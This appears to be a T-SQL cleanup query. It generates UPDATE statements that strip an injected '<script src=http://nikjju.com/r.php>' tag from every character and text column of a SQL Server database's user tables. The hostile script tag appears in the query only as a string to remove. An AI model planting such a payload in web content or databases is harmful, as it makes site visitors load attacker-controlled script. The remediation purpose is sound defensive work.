select

'update ['+s.name + ']  set ['+c.name+']=' +'replace(['+c.name+'],''</title><script src=http://nikjju.com/r.php ></script>'','''')'

from sysobjects s,syscolumns c,systypes t

where  s.type='u' and s.id=c.id 

   AND OBJECTPROPERTY(s.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name IN('varchar','nvarchar','char','nchar')

union

select

'update ['+s.name + ']  set ['+c.name+']=' +'replace(Cast(['+c.name+'] as varchar(8000)),''</title><script src=http://nikjju.com/r.php ></script>'','''')'

from sysobjects s,syscolumns c,systypes t

where  s.type='u' and s.id=c.id 

   AND OBJECTPROPERTY(s.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name IN('text','ntext')